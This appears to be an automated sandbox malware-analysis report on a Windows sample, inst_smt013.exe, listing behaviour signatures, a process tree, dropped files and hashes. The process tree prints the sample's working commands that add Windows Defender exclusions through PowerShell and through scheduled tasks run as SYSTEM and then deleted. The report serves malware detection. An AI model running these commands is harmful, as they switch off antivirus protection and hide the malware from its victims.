Analysis

  • max time kernel
    146s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/08/2026, 04:38

General

  • Target
    inst_smt013.exe
  • Size 55.2MB
  • Sample260805-e9s9naybph
  • SHA256 757147db03bd85ba24a026fc400bd4cc0a7037f69a527a35835ca2e31fa0cb2d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\inst_smt013.exe
    "C:\Users\Admin\AppData\Local\Temp\inst_smt013.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:1080
  • C:\Users\Public\NJt9p2\1x0cEH.exe
    "C:\Users\Public\NJt9p2\1x0cEH.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5316
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:2620
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\NJt9p2\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:5756
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\NJt9p2\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:6100
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:4580
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:3948
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:4648
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5688
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:4152
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:5912
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:4460
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1068
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:5752
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:2308
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:4936
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:2904
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:1536
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:6084
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:928
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:4904
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:4728
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:4876
                      • C:\Users\Public\NJt9p2\1x0cEH.exe
                        "C:\Users\Public\NJt9p2\1x0cEH.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:4924
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\NJt9p2" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        PID:4700
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\NJt9p2" /t REG_DWORD /d 0 /f
                          2⤵
                            PID:2972
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:1092
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            PID:5744
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              2⤵
                                PID:2184
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              PID:5868
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                2⤵
                                  PID:1560
                              • C:\Windows\system32\cmd.exe
                                "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                1⤵
                                • Executes a command shell one-liner
                                • Suspicious use of WriteProcessMemory
                                PID:5600
                                • C:\Windows\System32\reg.exe
                                  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                  2⤵
                                  • Windows security bypass
                                  PID:4656

                              Network

                                    MITRE ATT&CK Enterprise v16

                                    Replay Monitor

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                                    Downloads

                                    1BA79029EC3FFD076F5DAC2F70A18685

                                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BA79029EC3FFD076F5DAC2F70A18685
                                    • Size 1KB
                                    • SHA256 63b14543360f5e89942ea8d5113526e64fbc71c1207328f0136b3a495d921dd0
                                    • MD5 SHA1 SHA512 TLSH

                                    1BA79029EC3FFD076F5DAC2F70A18685

                                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BA79029EC3FFD076F5DAC2F70A18685
                                    • Size 186B
                                    • SHA256 6dffc78b3262a33ff4299014a56bb49d632b338ae03fad33de86f3c196395dd1
                                    • MD5 SHA1 SHA512 TLSH

                                    1x0cEH.exe

                                    • Path C:\Users\Public\NJt9p2\1x0cEH.exe
                                    • Size 135KB
                                    • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    UxEnhance64.dll

                                    • Path C:\Users\Public\NJt9p2\UxEnhance64.dll
                                    • Size 3.1MB
                                    • SHA256 55e20cb92aea775304c72ef266b26804be1191fb1739081c3cbdff92cd5b19aa
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    adoresd.dat

                                    • Path C:\Users\Public\NJt9p2\adoresd.dat
                                    • Size 4.7MB
                                    • SHA256 ab2df54634b0f4c389611761fa33e4f359a27e94d5de4c399de77e5a6619baf6
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    msadox.tb

                                    • Path C:\Users\Public\NJt9p2\msadox.tb
                                    • Size 8KB
                                    • SHA256 0f997c290687bffbb393691b24563816471c0ca12f4bf6270c161be0ef9cd7f4
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    memory/1080-526-0x00007FFD7F110000-0x00007FFD7F122000-memory.dmp

                                    memory/1080-525-0x00000000004A0000-0x00000000004AD000-memory.dmp

                                    memory/1080-503-0x00007FFD7F110000-0x00007FFD7F122000-memory.dmp

                                    memory/1080-0-0x00000000004A0000-0x00000000004AD000-memory.dmp

                                    memory/1080-1-0x00000000004B0000-0x00000000004BB000-memory.dmp

                                    memory/2620-599-0x00000245C2680000-0x00000245C268A000-memory.dmp

                                    memory/2620-598-0x00000245C2890000-0x00000245C2942000-memory.dmp

                                    memory/2620-597-0x00000245C2660000-0x00000245C267E000-memory.dmp

                                    memory/2620-594-0x00000245C2630000-0x00000245C2652000-memory.dmp

                                    memory/4924-579-0x000002547A260000-0x000002547AAF1000-memory.dmp

                                    memory/4924-575-0x00007FFD6C140000-0x00007FFD6C65E000-memory.dmp

                                    memory/4924-587-0x000002547A260000-0x000002547AAF1000-memory.dmp

                                    memory/4924-588-0x000002547A260000-0x000002547AAF1000-memory.dmp

                                    memory/4924-590-0x00007FFD8E030000-0x00007FFD8E032000-memory.dmp

                                    memory/4924-589-0x000002547A260000-0x000002547AAF1000-memory.dmp

                                    memory/4924-582-0x000002547A260000-0x000002547AAF1000-memory.dmp

                                    memory/4924-586-0x000002547A260000-0x000002547AAF1000-memory.dmp

                                    memory/4924-581-0x00007FFD8E040000-0x00007FFD8E042000-memory.dmp

                                    memory/5316-561-0x000002C9A2D00000-0x000002C9A2D8A000-memory.dmp

                                    memory/5316-562-0x000002C9A2D00000-0x000002C9A2D8A000-memory.dmp

                                    memory/5316-567-0x000002C9A23D0000-0x000002C9A2C61000-memory.dmp

                                    memory/5316-545-0x000002C9A23D0000-0x000002C9A2C61000-memory.dmp

                                    memory/5316-540-0x000002C9A23D0000-0x000002C9A2C61000-memory.dmp

                                    memory/5316-564-0x000002C9A23D0000-0x000002C9A2C61000-memory.dmp

                                    memory/5316-544-0x000002C9A23D0000-0x000002C9A2C61000-memory.dmp

                                    memory/5316-557-0x000002C9A1940000-0x000002C9A198E000-memory.dmp

                                    memory/5316-546-0x000002C9A23D0000-0x000002C9A2C61000-memory.dmp

                                    memory/5316-566-0x000002C9A23D0000-0x000002C9A2C61000-memory.dmp

                                    memory/5316-560-0x000002C9A2D00000-0x000002C9A2D8A000-memory.dmp

                                    memory/5316-558-0x000002C9A2D00000-0x000002C9A2D8A000-memory.dmp

                                    memory/5316-551-0x000002C9A23D0000-0x000002C9A2C61000-memory.dmp

                                    memory/5316-547-0x000002C9A23D0000-0x000002C9A2C61000-memory.dmp

                                    memory/5316-539-0x00007FFD8E040000-0x00007FFD8E042000-memory.dmp

                                    memory/5316-537-0x000002C9A23D0000-0x000002C9A2C61000-memory.dmp

                                    memory/5316-532-0x00007FFD6C140000-0x00007FFD6C65E000-memory.dmp

                                    memory/5316-531-0x00007FFD8E030000-0x00007FFD8E032000-memory.dmp